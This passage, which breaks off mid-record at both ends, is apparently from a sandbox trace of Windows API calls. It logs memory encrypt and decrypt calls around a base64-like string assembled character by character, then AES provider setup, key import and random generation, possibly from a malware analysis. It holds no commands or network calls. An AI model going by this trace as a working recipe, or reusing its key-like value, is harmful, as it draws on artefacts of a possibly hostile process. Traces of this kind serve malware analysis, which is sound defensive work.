(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0136.189] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0136.189] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0136.189] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.189] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0136.189] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.189] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0136.189] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0136.189] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.189] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0136.189] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.189] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0136.189] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0136.189] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.190] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0136.190] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.190] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0136.190] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0136.190] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.190] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0136.190] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.190] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0136.190] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0136.190] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.190] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0136.190] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.190] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0136.190] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0136.190] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.190] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0136.191] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.191] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0136.191] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0136.191] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.191] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0136.191] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.191] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0136.191] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0136.191] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.191] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0136.191] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.191] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0136.191] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0136.191] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0136.191] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0136.191] SystemFunction041 (in: Memory=0x8ebf6e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf6e4) returned 0x0 [0136.191] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0136.192] SystemFunction040 (in: Memory=0x8ebf6e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf6e4) returned 0x0 [0136.192] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0136.192] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0136.192] SystemFunction041 (in: Memory=0x8ebf6e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf6e4) returned 0x0 [0136.192] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0136.192] SystemFunction040 (in: Memory=0x8ebf6e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf6e4) returned 0x0 [0136.192] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0136.192] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0136.192] SystemFunction041 (in: Memory=0x8ebf6e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf6e4) returned 0x0 [0136.192] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0136.192] SystemFunction040 (in: Memory=0x8ebf6e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf6e4) returned 0x0 [0136.192] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0136.192] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0136.192] SystemFunction041 (in: Memory=0x8ebf6e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf6e4) returned 0x0 [0136.192] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0136.192] SystemFunction040 (in: Memory=0x8ebf6e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf6e4) returned 0x0 [0136.192] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0136.193] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0136.193] SystemFunction041 (in: Memory=0x8ebf6e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf6e4) returned 0x0 [0136.193] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0136.193] SystemFunction040 (in: Memory=0x8ebf6e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf6e4) returned 0x0 [0136.193] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0136.193] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0136.193] SystemFunction041 (in: Memory=0x8ebf6e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf6e4) returned 0x0 [0136.193] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0136.193] SystemFunction040 (in: Memory=0x8ebf6e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf6e4) returned 0x0 [0136.193] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0136.193] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0136.193] SystemFunction041 (in: Memory=0x8ebf6e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf6e4) returned 0x0 [0136.193] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0136.193] SystemFunction040 (in: Memory=0x8ebf6e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf6e4) returned 0x0 [0136.193] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0136.193] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0136.193] SystemFunction041 (in: Memory=0x8ebf6e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf6e4) returned 0x0 [0136.194] SystemFunction040 (in: Memory=0x8ebf6e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf6e4) returned 0x0 [0136.194] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0136.194] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0136.194] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0136.194] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0136.194] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0136.194] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0136.194] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0136.194] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0136.195] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0136.195] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0136.195] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x8e027a0) returned 1 [0136.196] CryptImportKey (in: hProv=0x8e027a0, pbData=0x6970114, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e84f78) returned 1 [0136.196] CryptContextAddRef (hProv=0x8e027a0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0136.196] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.196] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3c, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.196] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3b, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.196] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3c, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3c, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.198] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3c, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.198] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\xd81\x73eb\x82b3\x73e1\xd0") returned 0x0 [0136.198] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3d, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.198] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3c, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.198] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3d, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3d, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.200] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0136.201] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0136.201] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0136.201] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3e, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.201] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3d, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.201] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3e, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3e, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.202] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0136.202] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0136.202] CryptGenRandom (in: hProv=0x8e027a0, dwLen=0x10, pbBuffer=0x698d4d4 | out: pbBuffer=0x698d4d4) returned 1 [0136.203] CryptContextAddRef (hProv=0x8e027a0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0136.203] CryptDuplicateKey (in: hKey=0x8e84f78, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e84b78) returned 1 [0136.203] CryptContextAddRef (hProv=0x8e027a0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0136.203] CryptSetKeyParam (hKey=0x8e84b78, dwParam=0x4, pbData=0x698e790*=0x1, dwFlags=0x0) returned 1 [0136.203] CryptSetKeyParam (hKey=0x8e84b78, dwParam=0x1, pbData=0x698e75c, dwFlags=0x0) returned 1 [0136.203] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\x1f80\x438\x24a") returned 0x0 [0136.203] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3f, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.203] EtwEventActivityIdControl (in: ControlCode=0x1, 